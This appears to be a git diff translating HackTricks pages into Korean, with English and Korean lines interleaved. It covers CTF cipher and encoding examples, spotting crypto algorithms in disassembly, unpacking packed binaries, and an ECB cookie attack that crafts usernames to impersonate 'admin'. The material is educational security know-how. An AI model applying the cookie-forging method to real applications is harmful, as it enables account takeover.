- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 사라짐: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
### 모스
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 데드: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### 드보락 키보드
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
문자를 숫자 값으로 변환
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
문자를 숫자로 변환 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자) 그리고 결과를 다시 문자로 변환
```
krodfdudfrod
```
### SMS 코드
### SMS Code
**Multitap** [문자를 대체](https://www.dcode.fr/word-letter-change)하는 반복된 숫자는 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)의 해당 키 코드에 의해 정의됩니다 (이 모드는 SMS를 작성할 때 사용됩니다).\
예를 들어: 2=A, 22=B, 222=C, 3=D...\
이 코드는\*\* 여러 숫자가 반복되는 것을 볼 수 있기 때문에 식별할 수 있습니다\*\*.
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
이 코드는 다음에서 해독할 수 있습니다: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
### 베이컨 코드
각 문자를 4개의 A 또는 B(또는 1과 0)로 대체합니다.
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate****Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 압축 해제할 수 있습니다.
## Easy Crypto
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
A keywork is needed
키워드가 필요합니다.
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
키워드가 필요합니다.
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## 강력한 암호
### Fernet
2 base64 strings (token and key)
### 페르넷
2개의 base64 문자열 (토큰 및 키)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
### Samir 비밀 공유
비밀은 X 부분으로 나뉘며, 이를 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
### OpenSSL 무차별 대입 공격
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
## 도구
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# 암호화/압축 알고리즘
## Cryptographic/Compression Algorithms
## 암호화/압축 알고리즘
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## 알고리즘 식별
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
코드가 **오른쪽 및 왼쪽 시프트, XOR 및 여러 산술 연산**을 사용하는 경우, 이는 **암호화 알고리즘**의 구현일 가능성이 높습니다. 여기서는 **각 단계를 역추적할 필요 없이 사용된 알고리즘을 식별하는 방법**을 보여줍니다.
### API functions
### API 함수
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
이 함수가 사용되면 두 번째 매개변수의 값을 확인하여 **어떤 알고리즘이 사용되고 있는지** 알 수 있습니다:
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
주어진 데이터 버퍼를 압축하고 압축 해제합니다.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
[문서에서](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** 함수는 특정 암호화 서비스 공급자(CSP) 내의 특정 키 컨테이너에 대한 핸들을 획득하는 데 사용됩니다. **이 반환된 핸들은 선택된 CSP를 사용하는 CryptoAPI** 함수 호출에 사용됩니다.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
데이터 스트림의 해싱을 시작합니다. 이 함수가 사용되면 두 번째 매개변수의 값을 확인하여 **어떤 알고리즘이 사용되고 있는지** 알 수 있습니다:
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### 코드 상수
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
때때로 알고리즘을 식별하는 것이 특별하고 고유한 값을 사용해야 하기 때문에 매우 쉽습니다.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
첫 번째 상수를 구글에서 검색하면 다음과 같은 결과를 얻습니다:
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
따라서 디컴파일된 함수가 **sha256 계산기**라고 가정할 수 있습니다.\
다른 상수를 검색하면 (아마도) 같은 결과를 얻을 수 있습니다.
### data info
### 데이터 정보
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
코드에 중요한 상수가 없으면 **.data 섹션에서 정보를 로드하고 있을 수 있습니다**.\
해당 데이터에 접근하여 **첫 번째 DWORD를 그룹화**하고 이전 섹션에서 했던 것처럼 구글에서 검색할 수 있습니다:
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
이 경우 **0xA56363C6**를 검색하면 **AES 알고리즘의 테이블**과 관련이 있음을 알 수 있습니다.
## RC4 **(Symmetric Crypt)**
## RC4 **(대칭 암호)**
### Characteristics
### 특징
It's composed of 3 main parts:
3개의 주요 부분으로 구성됩니다:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **초기화 단계/**: **0x00에서 0xFF까지의 값 테이블**을 생성합니다(총 256바이트, 0x100). 이 테이블은 일반적으로 **치환 상자**(또는 SBox)라고 불립니다.
- **스크램블링 단계**: 이전에 생성된 테이블을 **반복**하며(0x100 반복) 각 값을 **반무작위** 바이트로 수정합니다. 이 반무작위 바이트를 생성하기 위해 RC4 **키가 사용됩니다**. RC4 **키는 1바이트에서 256바이트 사이의 길이를 가질 수 있지만**, 일반적으로 5바이트 이상이 권장됩니다. 일반적으로 RC4 키는 16바이트 길이입니다.
- **XOR 단계**: 마지막으로 평문 또는 암호문은 **이전에 생성된 값과 XOR됩니다**. 암호화 및 복호화 함수는 동일합니다. 이를 위해 **생성된 256바이트를 필요에 따라 반복**합니다. 이는 일반적으로 디컴파일된 코드에서 **%256 (mod 256)**으로 인식됩니다.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **디스어셈블리/디컴파일된 코드에서 RC4를 식별하기 위해서는 0x100 크기의 2개의 루프(키 사용)와 그 후에 입력 데이터를 2개의 루프에서 생성된 256값과 XOR하는 것을 확인할 수 있습니다. 아마도 %256 (mod 256)을 사용할 것입니다.**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **초기화 단계/치환 상자:** (카운터로 사용된 숫자 256과 256개의 각 위치에 0이 쓰여진 방식을 주목하세요)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **스크램블링 단계:**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **XOR 단계:**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (대칭 암호)**
### **Characteristics**
### **특징**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- **치환 상자 및 조회 테이블** 사용
- **특정 조회 테이블 값**(상수)의 사용 덕분에 AES를 **구별할 수 있습니다**. _상수가 **이진 파일에 저장**되거나 _**동적으로 생성**될 수 있습니다._
- **암호화 키**는 **16으로 나누어 떨어져야** 하며(일반적으로 32B) 보통 **IV**는 16B가 사용됩니다.
### SBox constants
### SBox 상수
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(대칭 암호)**
### Characteristics
### 특징
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- 이를 사용하는 악성코드를 찾는 것은 드물지만 예시가 있습니다 (Ursnif)
- 길이에 따라 알고리즘이 Serpent인지 여부를 쉽게 판단할 수 있습니다(매우 긴 함수)
### Identifying
### 식별
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
다음 이미지에서 상수 **0x9E3779B9**가 사용되는 방식을 주목하세요(이 상수는 **TEA** - Tiny Encryption Algorithm과 같은 다른 암호 알고리즘에서도 사용됩니다).\
또한 **루프의 크기**(**132**)와 **디스어셈블리** 명령어 및 **코드** 예제에서의 **XOR 연산 수**를 주목하세요:
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
앞서 언급했듯이 이 코드는 **매우 긴 함수**로서 어떤 디컴파일러에서도 시각화할 수 있으며, 그 안에는 **점프가 없습니다**. 디컴파일된 코드는 다음과 같이 보일 수 있습니다:
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
따라서 **매직 넘버**와 **초기 XOR**를 확인하고, **매우 긴 함수**를 보고, **긴 함수의 일부 명령어를 구현과 비교**함으로써 이 알고리즘을 식별할 수 있습니다(예: 7로 왼쪽 시프트 및 22로 회전 왼쪽).
## RSA **(Asymmetric Crypt)**
## RSA **(비대칭 암호)**
### Characteristics
### 특징
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- 대칭 알고리즘보다 더 복잡합니다.
- 상수가 없습니다! (사용자 정의 구현은 식별하기 어렵습니다)
- KANAL(암호 분석기)은 RSA에 대한 힌트를 제공하지 않으며 상수에 의존합니다.
### Identifying by comparisons
### 비교를 통한 식별
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- 11번째 줄(왼쪽)에는 `+7) >> 3`가 있으며, 이는 35번째 줄(오른쪽)과 동일합니다: `+7) / 8`
- 12번째 줄(왼쪽)은 `modulus_len < 0x040`를 확인하고, 36번째 줄(오른쪽)은 `inputLen+11 > modulusLen`을 확인합니다.
## MD5 & SHA (hash)
## MD5 & SHA (해시)
### Characteristics
### 특징
- 3 functions: Init, Update, Final
- Similar initialize functions
- 3개의 함수: Init, Update, Final
- 유사한 초기화 함수
### Identify
### 식별
**Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
상수를 확인하여 두 가지를 식별할 수 있습니다. sha_init에는 MD5에는 없는 1개의 상수가 있습니다:
![](<../../images/image (406).png>)
**MD5 Transform**
**MD5 변환**
Note the use of more constants
더 많은 상수의 사용을 주목하세요.
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
## CRC (해시)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- 데이터의 우발적인 변경을 찾는 기능으로 더 작고 효율적입니다.
- 조회 테이블을 사용하므로 상수를 식별할 수 있습니다.
### Identify
### 식별
Check **lookup table constants**:
**조회 테이블 상수**를 확인하세요:
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
CRC 해시 알고리즘은 다음과 같습니다:
![](<../../images/image (391).png>)
## APLib (Compression)
## APLib (압축)
### Characteristics
### 특징
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- 인식할 수 있는 상수가 없습니다.
- 알고리즘을 파이썬으로 작성하고 온라인에서 유사한 것을 검색해 볼 수 있습니다.
### Identify
### 식별
The graph is quiet large:
그래프는 꽤 큽니다:
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
식별하기 위해 **3개의 비교를 확인하세요**:
![](<../../images/image (430).png>)

View File

@ -1,24 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# 패킹된 바이너리 식별하기
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **문자열 부족**: 패킹된 바이너리에서 거의 문자열이 없는 경우가 흔합니다.
- **사용되지 않는 문자열**: 또한, 악성 코드가 상용 패커를 사용하는 경우, 교차 참조가 없는 많은 문자열을 찾는 것이 일반적입니다. 이러한 문자열이 존재한다고 해서 바이너리가 패킹되지 않았다는 의미는 아닙니다.
- 어떤 도구를 사용하여 바이너리를 패킹하는 데 사용된 패커를 찾을 수 있습니다:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# 기본 권장 사항
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- **IDA에서 패킹된 바이너리를 아래에서 위로 분석하기 시작하세요**. 언팩커는 언팩된 코드가 종료되면 종료되므로 언팩커가 시작할 때 언팩된 코드로 실행을 전달할 가능성은 낮습니다.
- **레지스터** 또는 **메모리**의 **영역**에 대한 **JMP** 또는 **CALL**을 검색하세요. 또한 **인수를 푸시하고 주소 방향을 지정한 다음 `retn`을 호출하는 함수**를 검색하세요. 이 경우 함수의 반환은 호출하기 전에 스택에 푸시된 주소를 호출할 수 있습니다.
- `VirtualAlloc`**중단점을 설정하세요**. 이는 프로그램이 언팩된 코드를 쓸 수 있는 메모리 공간을 할당합니다. "사용자 코드로 실행"하거나 F8을 사용하여 **함수를 실행한 후 EAX 내부의 값을 가져오세요**. 그런 다음 "**덤프에서 해당 주소를 따르세요**". 언팩된 코드가 저장될 지역인지 알 수 없습니다.
- **`VirtualAlloc`**에 값 "**40**"을 인수로 사용하면 읽기+쓰기+실행을 의미합니다(여기에 실행이 필요한 코드가 복사될 것입니다).
- **코드를 언팩하는 동안** **여러 호출**을 **산술 연산****`memcopy`** 또는 **`Virtual`**`Alloc`과 같은 함수에서 찾는 것이 일반적입니다. 만약 산술 연산만 수행하는 함수에 있다면, **함수의 끝을 찾으려고 시도하세요**(아마도 레지스터에 대한 JMP 또는 호출) **또는** 최소한 **마지막 함수에 대한 호출**을 찾고 그곳으로 실행하세요. 코드가 흥미롭지 않기 때문입니다.
- 코드를 언팩하는 동안 **메모리 영역이 변경될 때마다 주의하세요**. 메모리 영역의 변경은 **언팩 코드의 시작**을 나타낼 수 있습니다. Process Hacker를 사용하여 메모리 영역을 쉽게 덤프할 수 있습니다(프로세스 --> 속성 --> 메모리).
- 코드를 언팩하려고 할 때 **이미 언팩된 코드로 작업하고 있는지 아는 좋은 방법**은 **바이너리의 문자열을 확인하는 것입니다**. 만약 어떤 시점에서 점프를 수행하고(아마도 메모리 영역을 변경하면서) **더 많은 문자열이 추가된 것을 발견하면**, **언팩된 코드로 작업하고 있다는 것을 알 수 있습니다**. 그러나 패커에 이미 많은 문자열이 포함되어 있다면 "http"라는 단어가 포함된 문자열의 수를 확인하고 이 숫자가 증가하는지 확인하세요.
- 메모리 영역에서 실행 파일을 덤프할 때 [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)를 사용하여 일부 헤더를 수정할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,34 +2,32 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) 전자 코드 북 - **명확한 텍스트의 각 블록을** **암호문 블록으로 대체하는** 대칭 암호화 방식입니다. 가장 **간단한** 암호화 방식입니다. 주요 아이디어는 **명확한 텍스트를 N 비트 블록으로 나누고** (입력 데이터의 블록 크기와 암호화 알고리즘에 따라 다름) 각 명확한 텍스트 블록을 단 하나의 키를 사용하여 암호화(복호화)하는 것입니다.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
ECB를 사용하는 것은 여러 가지 보안 문제를 초래합니다:
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **암호화된 메시지의 블록을 제거할 수 있습니다**
- **암호화된 메시지의 블록을 이동할 수 있습니다**
# Detection of the vulnerability
# 취약점 탐지
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
애플리케이션에 여러 번 로그인할 때마다 **항상 같은 쿠키를 받는다고 상상해 보세요**. 이는 애플리케이션의 쿠키가 **`<username>|<password>`**이기 때문입니다.\
그런 다음, **같은 긴 비밀번호**와 **거의** **같은** **사용자 이름**을 가진 두 명의 새로운 사용자를 생성합니다.\
**두 사용자의 정보가 같은 8B 블록**이 **같다는 것을 알게 됩니다**. 그러면 **ECB가 사용되고 있을 가능성이 있다고 상상합니다**.
다음 예제와 같이. 이 **2개의 디코딩된 쿠키**가 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**를 가지고 있는지 관찰하세요.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
이것은 **그 쿠키의 사용자 이름과 비밀번호에 "a"라는 글자가 여러 번 포함되어 있기 때문입니다** (예를 들어). **다른** **블록**은 **최소 1개의 다른 문자**가 포함된 블록입니다 (구분자 "|" 또는 사용자 이름의 필요한 차이일 수 있습니다).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
이제 공격자는 형식이 `<username><delimiter><password>`인지 `<password><delimiter><username>`인지 알아내기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호로 여러 사용자 이름을 생성하여 형식과 구분자의 길이를 찾을 수 있습니다:**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| 사용자 이름 길이: | 비밀번호 길이: | 사용자 이름+비밀번호 길이: | 쿠키 길이 (디코딩 후): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
@ -37,35 +35,31 @@ Now, the attacker just need to discover if the format is `<username><delimiter><
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Exploitation of the vulnerability
# 취약점 악용
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## 전체 블록 제거
쿠키의 형식(` <username>|<password>`)을 알고, 사용자 이름 `admin`을 가장하기 위해 `aaaaaaaaadmin`이라는 새 사용자를 만들고 쿠키를 가져와서 디코딩합니다:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
